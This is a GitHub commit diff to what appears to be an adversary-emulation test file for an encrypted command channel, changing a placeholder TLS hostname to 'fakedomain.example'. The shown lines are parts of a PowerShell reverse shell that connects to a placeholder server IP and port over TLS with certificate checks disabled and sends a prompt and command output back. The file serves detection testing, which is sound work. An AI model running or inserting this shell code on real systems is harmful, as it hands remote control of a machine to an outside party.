Update T1573.yaml (#1866)

RFC 2606 compliance, to avoid future potential complications.
This commit is contained in:
A. Didier
2022-04-12 20:55:21 -06:00
committed by GitHub
parent 32aec500d4
commit 7067d53a01
+2 -2
View File
@@ -28,7 +28,7 @@ atomic_tests:
$socket = New-Object Net.Sockets.TcpClient('#{server_ip}', '#{server_port}')
$stream = $socket.GetStream()
$sslStream = New-Object System.Net.Security.SslStream($stream,$false,({$True} -as [Net.Security.RemoteCertificateValidationCallback]))
$sslStream.AuthenticateAsClient('fake.domain', $null, "Tls12", $false)
$sslStream.AuthenticateAsClient('fakedomain.example', $null, "Tls12", $false)
$writer = new-object System.IO.StreamWriter($sslStream)
$writer.Write('PS ' + (pwd).Path + '> ')
$writer.flush()
@@ -39,4 +39,4 @@ atomic_tests:
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$sslStream.Write($sendbyte,0,$sendbyte.Length);$sslStream.Flush()}
name: powershell
name: powershell